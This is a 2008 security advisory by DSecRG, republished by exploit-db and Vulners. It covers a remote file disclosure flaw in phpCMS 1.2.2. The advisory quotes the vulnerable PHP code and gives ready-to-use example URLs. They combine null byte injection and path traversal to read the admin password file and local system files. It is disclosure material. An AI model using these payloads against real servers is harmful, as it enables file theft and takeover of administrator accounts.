Lucene search
K

phpCMS 1.2.2 - 'file' Remote File Disclosure

🗓️ 29 Jan 2008 00:00:00Reported by DSecRGType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

phpCMS 1.2.2 Remote File Disclosure via class.cache_phpcms.ph

Code
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-005


Application:                    phpCMS
Versions Affected:              1.2.2
Vendor URL:                     http://www.phpcms.de
Bug:                            Remote File Disclosure, Get admin password
Exploits:                       YES
Reported:                       10.01.2008
Vendor response:                12.01.2008
Date of Public Advisory:        29.01.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

phpCMS system has remote File Disclosure vulnerability in page /parser/include/class.cache_phpcms.php


Details
*******

Attacer can read any files in web directory.

In file parser/parser.php include class.cache_phpcms.php

---------------------------------------

        // Load the i18n Handler
        if (isset ($_GET ['file']) && isset($DEFAULTS->I18N) && 'on' == $DEFAULTS->I18N) {
                include(PHPCMS_INCLUDEPATH.'/class.lib_i18n_phpcms.php');
                $I18N = &new i18n;
        }
        $PHPCMS->check_secure_stealth();
        include(PHPCMS_INCLUDEPATH.'/class.cache_phpcms.php');
        exit;

---------------------------------------


In file class.cache_phpcms.php function GetFile() parse URL and return full file name or default value.
Function checks file extension but does't check for null byte injection.

To read file  attacker must append a valid extension with null byte to file like a  "%00.gif" or smth.

---------------------------------------

// filequery exists, but filename is empty? -> set the defaultvalue for filename
if(!stristr($temp, $DEFAULTS->PAGE_EXTENSION) AND
        !stristr($temp, '.gif') AND
        !stristr($temp, '.png') AND
        !stristr($temp, '.jpg') AND
        !stristr($temp, '.js') AND
        !stristr($temp, '.css') AND
        !stristr($temp, '.htm') AND
        !stristr($temp, '.html'))

{       if(substr($temp, -1) != '/') {
                $temp = trim($temp).'/'.$DEFAULTS->PAGE_DEFAULTNAME;
                $temp.= $DEFAULTS->PAGE_EXTENSION;
        } else {
                $temp = trim($temp).$DEFAULTS->PAGE_DEFAULTNAME;
                $temp.= $DEFAULTS->PAGE_EXTENSION;
        }
}

---------------------------------------


In file class.cache_phpcms.php function CheckFile() take file name and if file exist read it and print file contents.

---------------------------------------
$PfadUndDatei = $this->GetFile();

$this->name = basename($PfadUndDatei);
$this->path = dirname($PfadUndDatei);
...

// there's no contentfile with this name -> errorpage or errormessage
if(!file_exists($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name)) {
        $errorname = basename($DEFAULTS->ERROR_PAGE_404);
        $errorpath = dirname($DEFAULTS->ERROR_PAGE_404);
        ...
...

$fsize = filesize($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name);
$fd = fopen($DEFAULTS->DOCUMENT_ROOT.$this->path.'/'.$this->name, "rb");
$contents = fread($fd, $fsize);
$contents = trim($contents);
$fsize = strlen($contents);
fclose($fd);
...

echo $contents;

---------------------------------------


Example:



http://[server]/[installdir]/parser/parser.php?file=/parser/include/default.php%00.gif

default.php includes admin password and other defaults:

---------------------------------------

class defaults {
        function defaults() {
                global $PHP, $PHPCMS;
                if(!defined("_DEFAULTS_")) {
                        define("_DEFAULTS_", TRUE);
                }

                $this->PASS = 'YourPasswordHere';
...

---------------------------------------


In windows we can read any local file:

http://[server]/[installdir]/parser/parser.php?file=\..\..\..\..\..\..\..\..\..\..\boot.ini%00.gif




http://www.phpcms.de/download/index.en.html






About
*****




Digital Security is leading IT security company in Russia, providing information security consulting, audit 
and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 
and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with 
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-01-29]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation